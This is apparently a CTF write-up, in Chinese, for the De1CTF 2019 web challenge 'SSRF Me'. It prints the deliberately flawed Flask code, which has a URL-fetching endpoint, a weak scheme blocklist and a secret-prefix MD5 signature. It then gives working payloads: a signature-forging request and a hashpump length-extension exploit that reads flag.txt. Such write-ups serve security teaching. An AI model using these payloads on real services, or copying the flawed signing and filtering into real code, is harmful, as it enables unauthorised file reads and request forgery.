De1CTF 2019
Web
SSRF Me
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False #generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", "")) # 将 param 的参数解码为原始的字符串形式,若为空则为空字符串
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50] # 只返回URL内容的前50个字符
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)
可以获得一个 Hint flag is in ./flag.txt
,目标就是要通过上述代码中的 Task::Exec 将 flag.txt
写入 result.txt
再读取 result.txt
获得 flag 。由于判断语句是通过 in 关键字来判断的,因此如果 self.action
中既有 read 也有 scan 即可同时执行。
首先需要通过 checkSign()
,先利用 getSign()
生成 Sign 可以得到 md5(secert_key + param + action)
。通过构造 Payload 如下
/geneSign?param=flag.txtread
即可得到 action 为 readscan
的 Sign ,如下
278aeedb3970f05c3fef9a85aaf08244
然后构造 Payload 如下来使得 flag.txt
写入 result.txt
再读取 result.txt
。
[GET]param=flag.txt
[Cookie]action=readscan;sign=278aeedb3970f05c3fef9a85aaf08244
就可以得到 flag 了,也可以通过 MD5 长度拓展攻击解决这道题,先获取 md5(secert_key + flag.txt + scan)
的值,构造 Payload 如下
/geneSign?param=flag.txt
可以得到回显如下
a62c5d4965f4123788ba12dceef01014
通过 secert_key = os.urandom(16)
可知 secert_key 长 16 位,通过 hashpump 进行生成 Payload,如下
$ hashpump
Input Signature: a62c5d4965f4123788ba12dceef01014
Input Data: scan
Input Key Length: 24
Input Data to Add: read
c151ad5274e2e828bc2eb58f76e2a506
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read
就可以求出 md5(secert_key + flag.txt + scan + padding + read)
的值,通过构造 Payload 如下
[GET]param=flag.txt
[Cookie]sign=c151ad5274e2e828bc2eb58f76e2a506;action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read
即可得到 flag。
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